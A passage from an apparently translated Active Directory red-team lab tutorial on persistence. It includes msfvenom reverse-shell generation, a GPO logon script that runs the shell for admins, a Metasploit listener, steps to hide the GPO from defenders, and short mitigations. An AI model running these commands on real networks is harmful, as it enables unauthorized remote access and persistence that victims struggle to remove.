想象一下将其与上一个任务的嵌套组结合起来。正如蓝队通过多次组更改完成撤销您的访问权限一样，60 分钟后，您可以再次执行这一切。除非蓝队明白权限是通过 AdminSDHolder 组更改的，否则他们每 60 分钟就会摸不着头脑。由于持久性是通过合法的 AD 服务传播的，因此每次发生这种情况时，他们很可能都不会变得更明智。如果您确实想保留，可以向 AdminSDHolder 组中的 Domain Users 组授予完全控制权，这意味着任何低权限用户都将被授予对所有受保护组的完全控制权。将此与完整的 DC 同步相结合意味着蓝队将必须重置域中的每个凭证才能完全清除我们。
Persistence through GPOs
我们要回顾的最后一个持久性技术是通过组策略对象 (GPO) 进行持久性。此时，您应该熟悉基于我们讨论过的所有不同枚举、攻击和利用技术的 GPO。然而，GPO 也非常适合部署持久性。
AD 中的组策略管理提供了一个中央机制来管理所有加入域的计算机的本地策略配置。这包括限制组成员身份、防火墙和 AV 配置等配置，以及启动时应执行的脚本。虽然这是一个出色的管理工具，但攻击者可以将其作为目标，在整个资产中部署持久性。更糟糕的是，攻击者经常可以隐藏 GPO，使其几乎无法删除。
域范围内的持久性
以下是一些常见的 GPO 持久性技术：
- 受限制的组成员身份 - 这可以允许我们对域中的所有主机进行管理访问
- 登录脚本部署 - 这将确保每次用户对域中的主机进行身份验证时我们都会收到 shell 回调。
可以部署许多不同的钩子。您可以尝试使用 GPO 来了解其他挂钩。因为我们已经在利用 AD 房间中使用了第一个钩子，即受限组成员资格。现在让我们关注第二个钩子。虽然能够访问所有主机固然很好，但通过确保我们在管理员积极处理这些主机时能够访问它们，效果会更好。为此，我们将创建一个链接到 Admins OU 的 GPO，这将允许我们在每次其中一个主机对主机进行身份验证时获得主机上的 shell。
准备
在我们可以创建 GPO 之前。我们首先需要创建 shell、侦听器以及将执行 shell 的实际 bat 文件。让我们首先生成一个可以使用的基本可执行 shell：
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=persistad lport=4445 -f exe > <username>_shell.exe |
确保将您的用户名添加到二进制名称中，以避免覆盖其他用户的 shell。 Windows允许我们通过登录GPO执行Batch或PowerShell脚本。批处理脚本通常比 PowerShell 脚本更稳定，因此让我们创建一个脚本，将可执行文件复制到主机，并在用户通过身份验证后执行它。在 AttackBox 上创建名为“
copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\<username>_shell.exe C:\tmp\<username>_shell.exe && timeout /t 20 && C:\tmp\<username>_shell.exe |
您将看到该脚本执行三个用“&&”链接在一起的命令。该脚本会将二进制文件从 SYSVOL 目录复制到本地计算机，然后等待 20 秒，最后执行该二进制文件。
我们可以使用 SCP 和管理员凭据将两个脚本复制到 SYSVOL 目录：
Terminal
$thm scp am0_shell.exe za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/ |
最后，让我们启动 MSF 监听器：
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST persistad; set LPORT 4445;exploit" |
现在准备工作已经完成，我们终于可以创建执行它的 GPO。您将需要通过 RDP 进入 THMWRK1 并使用以管理员身份运行的 runas 窗口来执行后续步骤。
创建GPO
第一步使用我们的域管理员帐户打开组策略管理管理单元：
- 在 runas 生成的终端中，输入 MMC 并按 Enter 键。
- 单击文件->添加/删除管理单元…
- 选择 组策略管理 管理单元并单击 添加
- 单击确定
您应该能够看到 GPO 管理器：
虽然从技术上讲我们可以将内容写入默认域策略，该策略应该传播到所有 AD 对象，但我们将采用更狭窄的方法来完成该任务，只是为了显示该过程。您可以稍后尝试将更改应用到整个域。
我们将编写一个应用于所有管理员的 GPO，因此右键单击管理员 OU，然后选择在此域中创建 GPO，然后在此处链接它。为您的 GPO 命名，例如“用户名 - 持久 GPO”：
右键单击您的策略并选择强制。这将确保您的政策适用，即使存在冲突的政策。这可以帮助确保我们的 GPO 优先，即使蓝队已经编写了一项将删除我们的更改的策略。现在您可以右键单击您的策略并选择编辑：
让我们回到组策略管理编辑器：
- 在用户配置下，展开策略->Windows 设置。
- 选择脚本（登录/注销）。
- 右键单击登录->属性*
- 选择 脚本 选项卡。
- 单击添加->浏览。
让我们导航到存储批处理和二进制文件的位置：
选择批处理文件作为脚本，然后单击“打开”和“确定”。单击“应用”和“确定”。现在，这将确保每次管理员之一（第 2 层、第 1 层和第 0 层）登录任何计算机时，我们都会收到回调。
为了模拟这一点，让我们重置第 1 层管理员帐户之一的密码并向服务器进行身份验证。使用您在之前的 AD 室中学到的任何技术来重置一级管理员之一的密码。完成后，请记住启动您的 MSF 多处理程序，然后让我们通过 RDPing 到 THMSERVER1 或 THMSERVER2 来测试它！
使用您的第 1 层管理员凭据、RDP 进入其中一台服务器。如果再给它一分钟，您应该会在多处理程序上收到回调：
Terminal
msf5 exploit(multi/handler) > run |
注意：您需要创建一个登录事件供 GPO 执行。如果您刚刚关闭 RDP 会话，则只会执行断开连接，这意味着它不会触发 GPO。确保选择导航以注销，如下所示，以便终止会话。这将确保在您重新进行身份验证时生成登录事件：
隐藏在众目睽睽下
现在我们知道我们的持久性正在发挥作用，是时候确保蓝队不能简单地消除我们的持久性了。返回 MMC 窗口，单击您的策略，然后单击委派：
默认情况下，所有管理员都可以编辑 GPO。让我们删除这些权限：
- 右键单击企业域控制器并选择编辑设置、删除、修改安全性。
- 单击所有其他组（经过身份验证的用户除外），然后单击 删除。
您应该留下如下所示的委托：
单击“高级”并从权限中删除“创建的所有者”：
默认情况下，所有经过身份验证的用户都必须能够读取策略。这是必需的，因为否则，当用户进行身份验证以应用用户策略时，用户的帐户将无法读取该策略。如果我们没有登录脚本，我们也可以删除此权限，以确保几乎没有人能够阅读我们的政策。
我们可以将经过身份验证的用户替换为域计算机，以确保计算机仍然可以读取和应用该策略，但阻止任何用户读取该策略。我们这样做是为了测试，但请记住，这可能会导致您在身份验证时无法获得 shell 回调，因为用户将无法读取 PowerShell 脚本，因此请确保在执行这些步骤之前测试您的 shell。 此后就没有回头路了：
- 单击“添加”。
- 键入 域计算机，单击 检查名称，然后单击 确定。
- 选择读取权限并单击确定。
- 单击“经过身份验证的用户”，然后单击“删除”。
执行这些步骤后，您将收到一条错误消息，指出您无法再读取自己的策略：
您还可以在侧边栏看到我们无法再阅读此政策：
通过执行这些步骤，我们可以确保即使拥有最高级别的权限，蓝队也无法删除我们的 GPO，除非他们模拟域控制器的计算机帐户。这使得首次发现变得更加困难，即使他们发现了 GPO，也很难将其删除。我们甚至不再拥有与我们的策略交互所需的权限，因此必须留在那里直到执行网络重置。您可以验证 GPO 是否仍通过 RDPing 应用到 THMSERVERS 之一。
Conclusion
我们可以通过几种不同的方式来坚持AD。其中一些技术比其他技术更持久。为了确保你的坚持不能被蓝队消除，你必须创造性地思考你的坚持。此外，您不应该等到整个域受到攻击才部署持久性。在每轮横向移动和特权升级之后，都应该部署持久性。
额外的持久性技术
在这个网络中，我们介绍了几种可用于在 AD 中持久化的技术。这绝不是一份详尽的清单。以下是也值得一提的持久性技术列表：
- **Skeleton keys **使用 Mimikatz，我们可以部署万能钥匙。 Mimikatz 创建了一个适用于域中任何帐户的默认密码。普通密码仍然有效，因此很难知道是否发生了这种攻击。此默认密码可用于模拟域中的任何帐户。
- 目录服务还原模式 (DSRM) - 域控制器有一个名为 DSRM 帐户的内部管理员帐户。该密码是在服务器升级为DC时设置的，很少更改。该密码用于在紧急情况下恢复 DC。攻击者可以使用 Mimikatz 提取此密码，并使用此密码获得对环境中域控制器的持久管理访问权限。
- 恶意安全支持提供商 (SSP) - 利用 SSP 接口，可以添加新的 SSP。我们可以添加 Mimikatz 的 mimilib 作为 SSP，它将所有身份验证尝试的凭据记录到文件中。我们可以指定用于日志记录的网络位置，这将允许 mimilib 在用户向受感染主机进行身份验证时向我们发送凭据，从而提供持久性。
- 计算机帐户 - 计算机帐户的密码通常每 30 天轮换一次。但是，我们可以更改机器帐户的密码，这将停止自动轮换。除此之外，我们还可以授予该计算机帐户对其他计算机的管理访问权限。这将允许我们将计算机帐户用作普通帐户，持久性的唯一标志是该帐户对其他主机具有管理权限，这在 AD 中通常是正常行为，因此可能不会被发现。
我们还应该注意到，这个房间的重点是 AD 中的持久性技术。一些本地持久性技术也可以允许在主机上进行持久性。如果这些主机加入了域，它也将允许在 AD 中持久化。
缓解措施
AD 持续存在可能会带来难以防御的痛苦。在某些情况下，持久性可能根深蒂固，以至于需要完全重建域。但是，我们可以采取一些措施来检测已部署的持久性：
- 异常帐户登录事件是最常见的持久性警报。每当凭证破坏分层模型时，都可能是持久性的结果。
- 对于提到的每种持久性技术，可以编写特定的检测规则，例如计算机帐户的密码更改、ACL 被允许更新或创建新的 GPO 时的情况。
- 防止持久性的最佳防御是保护特权资源。尽管低特权访问可用于部署持久性，但真正可怕的技术只有在攻击者获得域的特权访问权限后才可用。
AD 模块到此结束。我们已经了解了 AD 的基础知识，如何突破 AD 环境、枚举它、进行利用，并坚持不懈地深入扎根。该模块只是一个介绍。关于 AD 安全还有很多东西需要学习。是时候展开你的翅膀并进行一些你自己的探索了！